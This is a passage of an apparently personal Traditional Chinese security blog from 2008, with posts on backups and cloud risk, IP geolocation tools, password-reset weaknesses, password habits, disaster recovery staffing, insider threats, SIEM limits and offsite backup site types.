最後,我要說MIS工程師不是萬能的,資安工程師更不是。千萬不要有資安兩個字就是資安工程師的負責範圍,就像不是有電這個字就是MIS負責的範圍。

2008年10月12日 星期日

你的備份準備好了嗎?

雖然這一兩年大家在談所謂的 Business Continuity Plan (BCP,如BS 25599),但是不論從哪個角度看,資料的備份依舊是最為基本且不可或缺的一環。所以,大大小小的組織,都有自己的備份方法。從透過手動的方式將重要檔案複製到另一個硬碟,到全自動的線上即時備份,都是備份方式的一種。但是備份可不只是這樣子,備份的頻率、測試的方法與頻率、備份資料的保存期限、備份資料的保護都是必須一併加以考慮的。其中,備份資料的保存期限,除了考慮到資料本身保存時限需求(不管是企業本身或是法規的要求)外,儲存媒體的保存期限,也是大家所熟知的考量要素之一。另一個大家比較不常考量的,則是備份設備的本身的年限問題。這個問題在採用磁帶備份的方式時,是比較有可能的發生的。而光碟的部分,基本上目前還是向下相容,所以 DVD-DL 的設備可以讀 DVD、CD 等各種之前的格式。因為設備本身的改良而造成儲存媒體失效的風險相對來說是少了許多。

不過,現在開始問題又有了一些變化,原因在於 Cloud Computing 這項技術(或行銷術語)的引進。不管 Cloud Computing 這個名詞是如何的被濫用,這樣的風潮似乎並沒有稍退的跡象。一個層面的影響就是企業將資料(甚至是作業流程)放置於服務供應商,此時資料的備份就成了另外一個必須嚴肅考量的安全議題。而有些服務,甚至就是讓你將企業的資料備份到"雲端"裡。這類技術的應用,使得資料備份的問題必須重新加以審視與規劃。

其中將資料備份在"雲端"的應用,因為此時我們依靠的不再是可見的設備,而是服務供應商,所以服務供應商的服務年限,就是我們必須加以考量的。另外,資料在必要時是否可以匯出,而其匯出的資料格式是否能為其他系統或服務供應商所引用,都是必須加以確認的。以目前來看,這些問題的不確定性都相當高,也代表了其風險性是相對較高的。也難怪 Richard Stallman 會多次對想要採用 Cloud Computing 服務的用戶提出警告了。

相關連結:

2008年9月25日 星期四

IP位址與所在區域對應的好工具

最近在準備CEH考試時,有一個項目是尋找目標的相關資訊,其中包含找出使用某IP位址的公司之相關資訊。這類的工具其實很多,現在甚至也有很多線上的工具可以免費使用。比較進階的就是除了文字的描述,還有附上該地區的地圖。地圖有使用專屬的,也有越來越多的工具使用Google Map。雖然之前我也用過這樣的工具,不過這次趁著準備考試時再次好好地使用了一下這類工具,也發現其實這類工具大多有一個很嚴重的問題存在。而我今天要談的就是其中表現比較不凡的工具。

在談這件事之前,我們要先知道在網際網路的系統上通常可以透過兩種方式加以識別。一般人比較熟悉的是所謂的電腦名稱(host name+domain name,如www.google.com)。要取得這類的名稱,通常必須先向某些特定的單位申請網域名稱(如google.com)的使用權,而申請時的資料,可以透過whois的機制加以查詢。所以,只要知道電腦名稱/網域名稱,我們可以很簡單的就知道申請公司的名稱、住址、連絡人等相關資訊。識別電腦的另外一個方式就是所謂的IP位址(如72.14.235.147)。這類IP位址的發放,全球根據地區分成五個管理的單位(見註一)。各地ISP業者在申請到特定的IP位址範圍後,再發放給實際需要的客戶。所以我們可以透過相關的工具或這些單位的網站,查到擁有某特定IP位址的ISP業者。

至於電腦名稱與IP位址的對應,在網際網路上主要是透過DNS的服務來達成。所以,我們可以從電腦名稱找尋對應的IP位址(稱之為正向查詢)。也就是說我們知道電腦名稱,不但可以查到公司的名稱、住址等資訊,還可以知道所對應的IP位址之ISP業者。反之,如果我們只知道IP位址,若想知道這個IP位址是哪個公司在使用的,則必須先透過反向查詢的方式找出對應的電腦名稱。可惜的是,除非有特別提出,否則一般就算是向ISP業者申請固定式的IP位址,他們也不會主動幫你設定反向查詢(沒有正確的設定反向查詢,有些網際網路的服務可能會不正常,不過這個不是我今天的重點)。而對於動態式的IP發放,那就更不用說了。另外,有時候多個電腦名稱也可能共用一個IP位址,此時反向查詢的結果也通常不是你想要的。也因此,只知道IP位址要查到公司等資訊通常機會是比較小的。不過,一般在攻擊是先選定特定的公司(網域名稱),而不是特定的IP位址。而只針對IP位址的攻擊(如亂槍打鳥式攻擊),通常也不在乎是哪家公司。所以對攻擊者來說,這類的問題不大。

知道了上述的事情,我們來看看一般所謂IP位址對應所在區域的工具是如何透過IP位址知道這個IP位址所在的地區。根據前述,我們知道有IP位址,我們可以知道擁有該IP位址的ISP業者,甚至有可能查到對應電腦名稱的註冊公司,所以我們手邊有了ISP業者的地址與公司的地址。而一般工具所顯示的城市地區,其實就是ISP業者的地址。當然,如果兩個地址相比較,顯然ISP業者的地址是比較可信的,因為公司可以到任何國家註冊網域名稱,但是ISP業者的業務區域卻是固定的。不過ISP業者的業務區域雖然固定,但卻不是侷限於一個城市內,所以這樣的資訊,其實準確度依舊是有很大的疑問。我服務的公司剛好有南北兩個辦公室,我查了一下我們南部辦公室使用的IP位址,幾乎所有的工具都顯示所在地是台北。是的,我們申請的ISP業者是註冊在台北,但是該IP卻不是使用在台北的區域。僅有兩個工具,正確的顯示了我們南部辦公室所在的區域。一個是IP Address Locator,另一個則是IP2Location Database。前者是免費的工具,後者則是要付費的。前者在網站也特別提到他們是透過分析網路流量的方式,找出特定IP位址所在的區域,而不是透過前述的註冊資料。而且IP Address Locator也對應到了Goolge Map,算是一個方便而實用的小工具。所以,下次當你想到知道使用某個IP位址/電腦名稱的主機來自哪裡,別忘了問一下IP Address Locator。

註一(參考自The CEH Prep Cuide):
  • American Registry for Internet Numbers (ARIN): North America
  • RIPE Network Coordination Centre (RIPE NCC): Europe, the Middle East and Central Asia
  • Asia-Pacific Network Information Centre (APINC): Asia and the Pacific Region (台灣)
  • Latin American and Caribbean Internet Address Registry (LACNIC): Latin America and the Caribbean region
  • African Network Information Centre (AfirNIC): Africa

2008年9月23日 星期二

食品是良心道德的事業,資訊安全也是。

最近炒得最火熱的話題,正是毒奶粉的事件(現在似乎已經變成了毒食品事件)。從一開始的幾包毒奶粉,到後來發現很多奶製品都有三聚氰胺的存在。而受影響的廠商,也從小型麵包店,擴大到了內外銷的食品業者。其中兩家的產品我曾經消費過,一家是公司樓下轉角的麵包店,另一家是金車的即溶咖啡。當初看到麵包店老闆在電視上訴苦的模樣,讓我覺得非常不以為然。當然,店家也是受害者,但是吃下肚的是消費者。就算是要控訴政府把關不嚴,那也應該是事後循正式的途徑去訴訟。不然,以後吃了海鮮中毒,老闆也可以說是那是船東把關不嚴。船東也可以說是海鮮是天然的,他也不知道為什麼會有問題,所以他也是受害者,要申請國賠。消費者...最好你有保險而且有辦法舉證,不然就自己想辦法吧。而且麵包店的老闆才買了幾包的奶粉,其實對他經濟損失並不大。至於商譽的損失,用哀嚎的方式損失應該是勇於承認更大吧!相較於麵包店的老闆,金車不但主動檢查、通報,而且正式道歉,也讓使用者全額退費(不是換貨)。當然,如果消費者有健康上的問題,金車會如何處理還不得知,但是就目前已經看到的行為,金車的確是表現的相當不錯。

這件事跟資訊安全沒有大太的關係,倒是跟專業的道德有關。在"信任是安全的基礎"這邊文章的後半段,我曾經提到有關專業道德的議題。而前兩天我看到新聞的標題,標題下的是"良心"兩個字。是的,不管是傳統如生產食品,或是先進如資訊安全,只要你是提供專業的服務/商品,就應該秉持著道德與良心執行你的專業。

除了毒奶粉這件事,還有一個就是台大醫院長久以來針對前第一家庭相關訊息反反覆覆的說法。到底哪個說法是真是假,我不知道,說實在我也沒辦法判斷。但是多次的反反覆覆,表示絕對大有問題。因為醫療講的事實,陳訴事實即使有所修正,也不至於前後出現南轅北轍的說法,或者是曖昧不清的說法。說謊跟看病好壞有甚麼關係,病看的好最實在。是的,在大部分的情況下或許沒錯。但是當出現利益衝突的時候,病患可能就是被不肖醫生犧牲的那方,只是看甚麼時候會輪到哪個倒楣鬼罷了。所謂高知識的專業人才,產生專業的缺陷,更是令人難以接受。

樓下轉角的麵包店我是不會再去了,至於台大醫院,也離我越來越遠了。金車咖啡,我來了!

相關連結:

2008年9月22日 星期一

方便不是犧牲安全的藉口 - 談網站密碼重置的功能

前一陣子歐巴馬與希拉蕊兩人的較勁,媒體熱烈報導的程度,似乎讓人有台灣已經成為美國一州的錯覺。隨著歐巴馬的暫時獲勝,話題也開始轉移到另一對的候選人。其中美女副總統候選人-斐琳(Palin),同樣有不少的爭議與話題。而她這幾天的話題之一,就是有人透過很簡單的手法,侵入了她在Yahoo的信箱,透過的方式就是密碼重置的功能。

密碼重置,不管在大大小小的網站,幾乎都會看到,原先的出發點是為了避免使用者忘記了當初設定的密碼。網站的提供者希望透過此一機制可以讓使用者在最方便的情形下取得密碼並繼續使用系統。當然,有些不是採用重置的機制,而是將原先設定的密碼傳給你。兩者誰比較安全,以正常的情形下,將原先的密碼寄給你是比較不安全的,因為這表示該系統將你的密碼儲存於系統中,也表示一旦系統出了問題,你的密碼外洩的機率就很高(不管密碼是不是經過加密)。當然,這個只是一個粗略的說法,因為密碼安不安全還有很多的因素需要考慮。而且在不取得密碼的情形下,駭客還是有辦法竊取你的資料,甚至是假冒成你。

這樣的想法其實是好的,但是有太多網站的密碼重置機制充滿了漏洞,因此反而提供了駭客絕佳的入侵管道。以常見的手法,就是詢問你一些私人的問題,只要正確回答就可以重置密碼。有些甚至可以指定要將新的密碼寄到哪個電子郵件信箱,或者是顯示於網頁上。而有些則可以由使用者自行決定新的密碼。也就是說,只要你猜到了這些私人問題的解答,你就可以為所欲為。有些網站讓使用者可以自訂私人的問題,而不是採用事先決定的問題。這樣作其實沒有太大的幫助,原因在於一般使用者對此功能的危害根本就沒有認知,甚至認為這麼方便的機制應該是採用簡單的問題才不會辜負網站提供者的好意。所以,一樣是充斥著簡單的問題。而在Google盛行的現在,很多私人問題早已不是秘密,尤其對越具備知名度的人來說越是如此。

從事安全相關產業的人常說,方便跟安全是衝突而必須有取捨的。是的,這樣說在大部分的情形並沒有錯。只是這句話我們應該解讀為在不影響方便的情形下,設計出"最"安全的系統。或者是盡量設計出安全但不影響方便性的系統。這裡所謂的"不影響"指的是使用者可以接受的範圍。兩者的差別只在於由哪一個因素當作出發點,不過如果確實落實,結果應該是一樣的。以數學的方式來說,就是如何找出兩個反比因素的交叉點。但是,這並不像一般反比的例子那麼簡單,因為安全與方便性是很難量化的,而且在不同的環境下有不一樣的比重與最小可接受值(也就是有時候交叉點並不是可以接受的設計)。當然,現在有所謂安全的設計開發流程。但是即使將安全的議題放大,也千萬別因為安全而犧牲了使用性。在大部分的情形下,沒有使用性的系統,是沒有任何價值的。而沒有價值的系統,其實也沒有安全的需求。所以兩者對一個可用的系統來說都是重要的,要怎麼取捨是需要同時兼具理性的作法與智慧的判斷。不過無論如何,這句話絕對不是系統設計/開發人員用來推卸安全責任的藉口,雖然這樣的例子實在太多了。

除了密碼重置的功能,有些網站還有密碼提示的功能,對密碼的安全同樣也是一大挑戰。事實上,很多系統將密碼/登入機制做了很嚴格的把關,但是卻讓一些不安全的方便機制嚴重破壞了系統的安全性。要在自己的家開一個或多個逃生的後門沒關係,但是千萬別讓後門成了小偷進入的方便門。道理大家都懂,就看怎麼落實到資訊系統上面了。

那麼我們應該怎麼設計一個安全的密碼重置機制,在"The Web Application Hacker's Handbook"一書有提到(我直接截錄原文,以免翻譯失了原味):

"The best automated solution for enabling users to regain control of account is to email the user a unique, time-limited, unguessable, single-use recovery URL. This email should be sent to the address that the user provided during registration. Visiting the URL will allow the user to set a new password. After this has been done, a second email should be sent, indicating that a password change was made. To prevent an attacker denying service to users by continually requesting password reactivation emails, the user's existing credentials should remain valid until such time as they are changed."


相關連結:

2008年9月11日 星期四

令人又愛又恨的密碼

在前幾篇的文章中,我談到有關密碼的議題。不管你認為密碼是不是一個好的安全機制,現實是每個人每天都會用到許多不同的密碼。其中當然有許多是在網站上使用,另外像是提款卡等等,也都需要用到密碼。有不少文章談到如何選取一個"好的"密碼,但是卻很少人提到如何選取數個甚至數十個良好的密碼。所謂良好的密碼在實務上有一個最重要的考量,那就是很難被猜到但是同時你卻必須能夠加以記憶。有人提到可以採用圖像記憶法,將密碼轉換為圖像,這樣就可以方便記憶。但是此法或許對於純數字的密碼還可行(只有10種圖形),但是如果包含英文字母(大小寫),再加上特殊符號,我想這麼複雜的圖形對應關係,光聽到就嚇死一堆人了。

所以,我們可以採用瀏覽器的記憶功能、使用密碼管理的軟體、或是使用像是PwdHash這類瀏覽器的外掛,來減輕你必須記憶這麼多密碼的困境。但是不管理用甚麼方法,幾乎都有一個很大的問題,那就是不能隨時、隨地都有效地加以應用。瀏覽器的記憶功能,不同的瀏覽器、不同的電腦之間不互通。密碼管理的軟體,不是隨時帶著跑,也不是隨時都有電腦可以使用。PwdHash,雖然我自己蠻喜歡使用的,可惜只能在Firefox內加以使用,IE沒轍,Safari也沒轍。就算你用線上的密碼管理軟體,同樣不是隨時隨地都能連線(至少現在還不是),而且每次打密碼都要開啟服務,你不累嗎?真正能夠隨時隨地幫助你的工具,只有你的腦袋。好吧,至少在大部分正常的情況下,你的腦袋應該是最值得信賴的工具。

其實我們也別太偷懶,想要真的擺脫記憶密碼的困擾。因為研究報告顯示,當人們因為依賴科技而減少腦部的使用,只會越來越笨。所以記憶適當的密碼,不但是必要的,而且對腦部的健康也是有幫助的。所以,密碼不僅是資訊安全的好朋友,更是預防記憶力衰退的良方之一。當然,更別偷懶得想要用自己的個人資料(如生日)當作密碼,否則當你哪天想要競選美國的副總統時,可能就是下一個引起駭客好奇心的受害者了。

相關連結:

2008年9月4日 星期四

迷霧不可怕,可怕的是妖言惑眾的神棍 - 談員工於災難復原中的重要性

最近看了電影迷霧驚魂 The Mist,故事講得是一群鄉民因為一陣詭異的霧氣,而被困在一家超市的故事。霧氣中有著會吃人的怪物,而且這群鄉民完全與外界失去聯繫,所以在經過多日的困守後,各式各樣的人性就開始發酵。其中一個最主要的角色,是所謂舊約的狂熱者,不斷講述著這是神的懲罰。一開始沒有人相信她,但是最後,只剩下幾位主角的麻吉還沒被洗腦。其餘每個人都變成了神棍的擁護者,甚至不惜殺人以其平息神明的憤怒。

這個故事讓我想到有關災難復原(Disaster Recovery, DR)這個議題。我們都知道災難復原除了要恢復資訊系統以提供作業所需的流程外,人員的備援與管理也是同樣的重要。對於一些Key Person,我們要事先建立好代理人的機制,並將其連絡資料詳細記錄。這些事項必須轉化為標準作業流程並正確記錄。而為了確保災難復原計劃的可行性,也需要定期舉辦各種形式的演習,以免災難真的發生時,員工因為不熟悉而手忙腳亂並導致無法順利復原。但是除此之外,我們必須注意到另外一個問題,也就是員工的心理因素,尤其是當災難無法於短時間內加以排除時。

首先,對於地區性的災難(如水災、地震等),不但公司是災難的受害者,員工本身通常也是受害者之一。對於放棄救助自己的家人而先協助公司這種違背人性的事情,千萬別認為這是員工應該擔負的責任。當然,有時候兩者並不衝突,但是在災難緊急發生的那一瞬間,兩者絕對是衝突的。而大部分人的選擇,我想在迷霧驚魂中也已經點出了。沒有人願意犧牲自己去幫助一個想要回家救自己小孩的著急母親。而其他電影,也都有類似的情景。當災難發生時,所有人一定衝回家或是去救自己的家人(尤其是小孩),沒有人會堅守岡位維持公司的運作。電影畢竟只是電影?那就問問你自己的心裡,當事情發生時,你的選擇會是甚麼?

再來就是當災難(如淹水)持續一段時間後,在家庭與工作兩頭燒的情形下,員工的心理可能會產生很多的變化。工作能力的降低、注意力的潰散、徬徨與恐懼等各種負面效益就會陸續出現。即使公司沒有神棍的存在,任何外在因素都可能輕易改變一個人的思想,或者可以說是引發內心心魔的作用。所以,公司不能只考慮到公司本身的復原,也要注意到該災難對於員工的影響是否已經消失,並在必要時提供其協助以便度過災難。同樣的,這個議題如果沒有在平時計劃時就加以考量,當大家因為災難而焦頭爛額時,沒有人有時間去注意到這樣的事情,而且所需的資源與經費也可能會嚴重不足。

人是公司最重要的一環,對資安問題來說也是。

2008年9月2日 星期二

不可得罪的小人物 - IT人員,尤其是被資遣的。

在台灣常常聽到MIS(IT)人員,自嘲為打雜一族,有時候甚至在公司講話還得靠不少好運才能讓高層聽到。不過經營高層可別忽略了這群看起來老實,而且又很少發表意見的族群,因為他們可是掌握了許多通往公司機密的關鍵。DBA擁有資料庫的帳號與密碼,可以輕易取得顧客的資料。加密,重要欄位加密就算好的了,每個欄位都加密應該很少人會這樣設計。存取紀錄,只對君子有效,對小人或不怕死的人,只有事後歸責的用途。當然還有其他的方法可以防範,但是有多少公司採用,又有多少的效用,都是值得商榷的。

相信員工。是的,這是一個好方法,而且當初也做了背景調查,確認你的IT人員不是經濟犯、更不是殺人犯。但是,人在不同的時空下,往往會有不一樣的反應。員工在離職的時候可以分為兩種,一種是主動離職,一種是被動離職。對於被動離職的人,往往對公司會懷有程度不一的恨意,這樣的恨意也就很容易轉換為破壞的行為。根據Cyber-Ark的研究報告顯示,有高達88%的IT人員承認如果被解雇,將會順手帶走公司的機密資料。剩下的12 %表示會兩手空空的離開,who knows?

所以,對於員工的離職,尤其是被迫性的離職,公司應該有一套良好的機制,確保離職員工沒有辦法在離開前、甚至是離開後,取得或攜出公司的機密資料。一個作法是請被迫離職的員工在公司的監督下收拾家當後馬上離開,雖然不近人情(遣散費還是不可少,甚至可以優於法律規定,這樣就近人情些了),但是卻最有效。但是,如果沒有後續的處理程序,還是很有可能讓這些人可以在事後依舊存取到公司的機密資料。畢竟,實體的問題容易防,但是無形(網路)的問題不容易查覺,而現在幾乎所有資料都可以透過網路取得。公司能不能有效防範,問一個很簡單的問題,當員工A離職後,有哪些東西需要歸還,有哪些相關權限應該移除,又有哪些相關設定應該修改。如果公司沒辦法馬上回答,甚至明白條列下來,那公司可能就會有大麻煩了。

相關連結

2008年8月28日 星期四

吃不飽、吃到飽、吃過飽 - 你也資訊過載了嗎?

身為現代人,不只對於食物有攝取過多的危險,對於無形的食物(資訊)亦然。數位化的時代,讓資料的流通跨越了許多原本存在的隔閡 (如距離、語言等),而且傳遞的速度幾乎是即時的。而在Web 2.0的時代,每個人都可以用各式各樣的方法產生資訊並加以分享,更使得資料數量呈爆炸性的成長,而且無時不在,無所不在。垃圾郵件的問題依舊存在,但是有更多的Blogs、RSS訂閱、Soical Network Platforms與Gadgets ,提供了看似有用或有趣的資訊,甚至很多還是我們自己自願接受的。但是,人的時間畢竟有限,這麼多的資訊,不要說是閱讀了,光是瀏覽都不夠時間。所以資訊過載這個名詞再次被提起,至於怎麼避免或防範,除了增加自己吸收的效率外,最重要的是如何選擇必要的資訊與良好的資訊來源。如果你跟我一樣有資訊焦慮症,要最到後面這點還真需要一番掙扎。

其實早在很多年前,資訊過載的議題就已經存在資訊安全的領域中。我們都知道,幾乎所有的設備、電腦(作業系統)、應用程式都有各式各樣的Log,這些Log提供了我們系統執行時的訊息。除了執行的狀態外,大多數也會針對一些特殊的事件(尤其是異常的事件)作成Log。所以,各個管理者必須將其負責範圍內的Log嚴加監控,以防止問題發生而不自知。簡簡單單的一句話,但是我相信沒有幾個人辦得到,甚至沒有人想真的這樣做。原因很簡單,這些Log不但散落各處,而且每種Log都有其特定的格式與解讀方式,在加上資料量龐大...所以,通常在發生問題後,能夠依據Log找到問題發生的來源並解決之已經算是很好的了。

不過,資訊安全廠商當然有更遠大的眼光,所以就有了 SIM (Security Information Management)或SIEM (Security Information and Event Manager)這類產品,希望能夠把各式各樣的Log訊息集中處理,以期並找出真正危害資訊安全的事件。當然,這類產品的資訊來源並不限於所謂的Log,有些甚至會有自己收集資訊的元件,不過這個其實也可以看是Log的一種,只是這是由廠商自行開發的格式。SIM主要的流程大致為Filtering -> Collecting -> Normalization -> Consolidation -> Correlation -> Analysis -> Alarm & Reaction & Reporting。這個只是可能的流程之一,每個產品會有自己特定的行為與流程,甚至有些流程行為可能會重複一次以上。這個部分礙於篇幅的關係,有興趣的讀者就請自行參考相關連結與其他文件了。這樣的產品立意很好,但是現實是很難達成廠商所宣稱的目標。當然,不用這類產品,光靠人力幾乎沒有辦法產生效果。但是有了產品,問題依然存在。其中最嚴重的問題當屬這麼多事件來源,而且大家又都有自己的格式與意義,要全部收集就已經是不可能的了。所以...第一步就玩不下去了,那後面做得再好也是救不了使用者(產品)。不過,如果我們退一步看,接受所有訊息來源的資料,這點確實本來就是不實際的需求,所以在大部分的情況下,以實務的角度來看,SIM或SIEM還是有相當作用的。

我們在討論許多具備偵測功能的系統時,常常喜歡用Flase Positive與Flase Negative來討論系統的有效性。在是非分明的世界,這樣的分法是適當的。但是在安全的領域中,很多事情卻不是一翻兩瞪眼這麼簡單。因為我們希望SIM/SIEM不僅能針對已經發生的問題產生事後的回應(Reaction),最好能夠在事情正在發生,但是還沒產生危害之前就加以制止(Prevention)。以遠端入侵而言,我們可以說許多都會經過嘗試密碼的動作,所以有錯誤登入是可疑的。但是,要在多少的時間內累積到一定的錯誤次數才是真正可疑,是否要使用同一個帳號、來自同一個IP位址才算是可疑?這麼多的變數,都會影響到系統的判斷。當然,這些東西可以設計成可控制的變數,但是這樣做只是把問題從產品丟到佈署與使用的人員身上,並不能真正提供企業所需的防護。關於這點我認為是目前實際應用上最困難的地方。過於寬鬆的設定,可能會導致預警能力過低。但是過於嚴謹的設定,就會產生所謂愛哭的小孩。愛哭的小孩不像放羊的小孩那般愛說謊,只是喜歡大驚小怪,但是所造成的傷害可能比放羊的小孩還多。

所以,有所謂的異常行為偵測(Abnormality Detection)的技術,希望系統能夠自己判斷何為正常的行為,以期在行為產生偏差時提出警示。這樣的技術都需要在導入初期經過一段時間的學習,以收集足夠的資訊來建立所謂正常行為的資料庫。而且,這類技術也需要在運作中隨時將觀察到的資訊回饋到資料庫,並更新正常行為的資料庫。這樣做有兩個問題,第一個是原先的正常行為,不見得是好的,甚是可能已經違反了公司的資安政策。第二個問題則是心懷惡意的人,有時候可以透過教導的方式,將系統正常行為資料庫的內容漸漸導向特定的異常行為。這部分需要透過分析趨勢(Trending)的方式加以防範,只是這樣的技術並沒有比較簡單,而且使用者要去分析與判斷也相對困難。自動化?當然可以解決一部分的問題,但是還是會衍生出新的問題需要去克服。

SIM/SIEM是一個好的工具,但是要取代人工達成全自動化,可能需要使用到人工智慧才有辦法。當某件事以人來做都很模糊而沒有標準做法時,要以系統來全自動化是很困難的。當然,這樣的系統還是會比絕大多數的人做得還好,只是再好的系統也有其限度,絕非萬靈丹。這是我們應該深刻認知,也是在決定採用前必須加以考量的。其他功能像是發現資安事件發生時,應該採取甚麼措施,這部分應該可以一併由資安事件回應(Incident Response)機制加以制定了。

相關連結:

2008年8月27日 星期三

美猴王也懂資訊安全? - 從功夫之王看異地備援

這兩天看了一部電影,片名為「功夫之王」,由成龍與李連杰兩大巨星主演。故事講的是美猴王孫悟空的一段遭遇,至於電影拍得好不好,那可就真的是見仁見智了。美猴王最大的本事,當然不是在佛祖的手指上灑尿,而是只要從身上拔一根毛,一吹氣,就可以產生另一個美猴王的分身。故事中的美猴王,在遇難後,除了靠預言中的肉腳老外(??)來解救自己外,另外一個幫助很大的角色其實就是自己的分身。這樣的概念其實跟所謂的異地備援很接近。

首先,美猴王的分身可以與本尊同時存在並與敵人進行對打的動作,而且也可以獨立運作。片子中,分身有兩次的表現,一次是本尊摸魚不想打了,另外一次則是本尊已經被封印而無法行動時。在第二次的過程中,分身甚至與本尊相隔了十萬八千里。當然,分身所具備的能力跟本尊大致上屬性相同,只是能力稍微遜色了一些。不過有一些特殊能力,分身就無法具備了(例如分身就沒有辦法再產生分身)。對異地備援而言,最主要是希望當本尊(Primary Site)無法提供服務時,分身(Remote Site)能夠接續運作並持續提供服務。當然,因為成本的考量,分身的環境與設備通常無法與本尊相提並論,但是基本上重要的功能都要能夠正確無誤的加以執行才可。至於兩者之間應該分隔多遠,就看你想要避免的是甚麼樣的危害(水災、地震還是核彈爆炸?)而定。當然,地點的選擇還有其他更多的條件須要考慮,前述的條件通常只是提供最小分隔距離的要求。除了這些要求,最重要的是兩者必須擁有相同的資料(記憶)與目標(想法),這樣才能對同一件事情有相同的處理結果。而這部分,就必須依靠備份策略來達成。

我看過有些中文的網頁把異地備援翻譯成Remote Backup,基本上這樣的名詞我個人認為是比較不適當的。Remote Backup可以算是異地備援的備份策略之一,但是並不是所有的異地備援都必須使用Remote Backup的策略。異地備援屬於災難復原(DR, Disaster Recovery)的一部分,也跟目前正流行的營運持續計劃(BCP, Business Continuity Plan)有關。一般異地備援我們可以分為Mirrored Site、Hot Site、Warm Site與Cold Site四種,越前面的方式在接手時所需要的前置作業時間就越少,但是相對建置或維護成本也會爆增。這些機房與設備可以由公司自行建置,也可以由服務供應商提供。除了上述四種之外,另外還有一種Mobile Site(美猴王的分身即屬之)的形式,也就是把環境建置於一個可自由移動的裝置上(通常是大型卡車),以方便逃離危險。至於選擇哪一種方式,通常是與RTO (Recovery Time Objective)有關。

而備份策略大致上有Distributed Processing、Mirroring、Shadowing與Media Archives等方式。Distributed Processing可以讓兩邊的系統同時使用兩地的資料,不但具有備援的效果,更有負載平衡的好處,相對複雜度也比其他技術高了許多。Mirroring與Shadowing可以提供幾乎同步的資料備份,但是在接手時,Shadowing的方式需要額外的重建時間。而Media Archives則須要透過人工的方式將備份資料送到分身才行。這些備份策略的選定,通常由RPO (Recovery Point Objective)決定。在同一個環境下我們可以針對不同RPO需求的資料使用不同的備份策略,以減少所花費的資源。

除了「功夫之王」之外,多年前州長阿諾也演過一部電影─「魔鬼複製人」,同樣也討論到分身這個議題。不過阿諾的分身除了擁有相同的記憶,更重要的是能力並不會減弱。但是他有一個最嚴重的缺點,就是分身與本尊之間擁有各自獨立的思想,所以並不保證能夠成為稱職的備援方案。當然,在電影中阿諾與其分身自是有志一同,共同解決了他們的敵人,但是解決完之後兩者還是必須分道揚鑣。因為他們其實是兩個獨立的個體,只是說是剛好"很像"而已。

現實生活中,當然我們沒辦法拔一根毛就產生一個備援方案,所以我們必須謹慎的規劃所需的備援計畫。所謂的謹慎,其實也不過就是在最經濟實惠的狀況下,提供滿足公司資安需求的解決方案。

參考資料,資料來源為CISSP教材:
AlternativeDescriptionReadinessCost
Multiple processing / mirrored SiteFull redundant identical equipment & dataHighest level of availability & readinessHighest
Mobile Site / TrailerDesigned, self-contained IT & communicationsVariable drive time; load data & test systemsHigh
Hot siteFully provisioned IT & office, HVAC, infrastructure, & communicationsShort time to load data, test system. May be yours or vender staffHigh
Warm sitePartially IT equipped, some office, data & voice, infrastructureDays or weeks. Need equipment, data, communicationsModerate
Cold siteMinimal infrastructure, HVACWeeks or more. Need all IT, office equipment, & communicationsLowest

備份策略
  • Replication
    • Mirroring
      maintains a real-time replica on a second disk, so its RPO affords little or no data loss
    • Shadowing
      maintains a replica of the database or file system by continuously recording changes into a log then applying changes to the replicated server. With shadowing, RPO is the last change transmitted and received and there is rebuild time.
  • Distributed Processing
  • Electronic Vaulting
    data is backed up to remote drives located off-site over high quality communication links. Electronic vaulting makes copies of files as they are modified and periodically transmits them to an offsite backup site. The transmission does not happen in real time, but is carried out in batches.
  • Remote Journaling
    Electronic Vaulting may be supplemented with remote journaling. Remote journals, transactions or journal files are periodically transmitted to the remote drives located off-site. Journaling is efficient for database recovery.
  • Media Archives
  • Storage Area Network

2008年8月21日 星期四

千萬別讓你的好朋友變成敵人的好朋友 - 危害公司內部資訊安全的應用程式或系統

當資訊安全的重點漸漸從防外(外部駭客)轉移到防內(內部員工或訪客等)時,對整個產業、管理者甚至是使用者都有了很多深層的影響。除了技術層面的問題,還有更多非技術層面的問題。包含公司的文化、管理措施、管理階層與員工的心態,都面臨了強烈的轉變需求與挑戰。

Promisec這家公司最近公布了一個線上的資料庫,裡面列出了對於內部資安產生威脅的應用程式或服務。內容包含程式/服務的名稱、嚴重性與詳細的描訴。以前我們常看到所謂惡意程式(或病毒)的資料庫,裡面列出各式各樣的程式。基本上列在上面的程式,通常沒有二話,就是阻擋-發現-移除這些動作。但是公布在Promisec資料庫的程式,仔細看有很多是大家都在使用的、甚至天天在使用的程式。或許有些還是公司所允許或已經用於工作中的程式。

這個現象代表的是甚麼?當問題從外部"延伸"到內部時,偵測/阻擋的方式已經不是最有效的方法,取而代之是需要更完整的資訊安全政策與管理措施。例如,以Wireshark來說,這是很多網路管理人員的必備工具。但是也因為它的功能強大,所以任何人都可以透過它取得很多應該屬於機密的資訊。因此,如何有效管理Wireshark的使用,讓它在發揮功能的同時不會產生危害,就是一個必須仔細思考與規畫的課題。除了應用程式的管控,網路服務的管控同樣重要,而且必須採用不一樣的手段。因為網路服務的安全問題,並不能像應用程式的問題可以透過Patch加以修正,應該如何避免問題危害到內部的使用者,是一個全新的挑戰。當然,阻擋通常還是可以做為最後的手段,但是同時也可能一併將其帶來的效益阻擋在外。甚至可能因為阻擋機制不完整,而造成只阻擋了利益卻無法避免其危害。

Promisec的資料庫提供了一個集中的地方可以讓資訊安全從業人員有一個集中的地方可以查詢相關的資訊,甚至也提供了訂閱訊息更新的服務,可以減少相關人員收集資訊的困難性與增進時效性,算是一個相當方便的工具。同時也可以提供相關人員一個學習的地方。

原文出處:

2008年8月19日 星期二

沒有用的老朋友 - 談密碼的安全性

密碼,在安全機制上扮演一個極為重要角色的老朋友,也是大家幾乎天天都會用到的技術。密碼雖然很方便,但是同時也有很多問題存在。其中一個最常被談到的議題就是密碼本身過於簡單,以導致輕易地被惡意人士猜出。另外一個就是如何安全地存放密碼的議題。存放的議題主要發生在兩個地方,一個是使用密碼的人,另一個用來檢查密碼的系統。如果其中一方沒有保管好密碼,那麼選擇再好的密碼都沒有用。有關這些議題,已經有太多相關的資料加以討論,在此我不多贅述。倒是前幾天the New York Times發表了一篇文章,認為密碼應該被全面淘汰,改用Information Card這類較安全的驗證機制。理由很簡單,因為即使你選了再好的密碼,因為目前大多認證機制與流程的不良,所以還是一樣不安全。

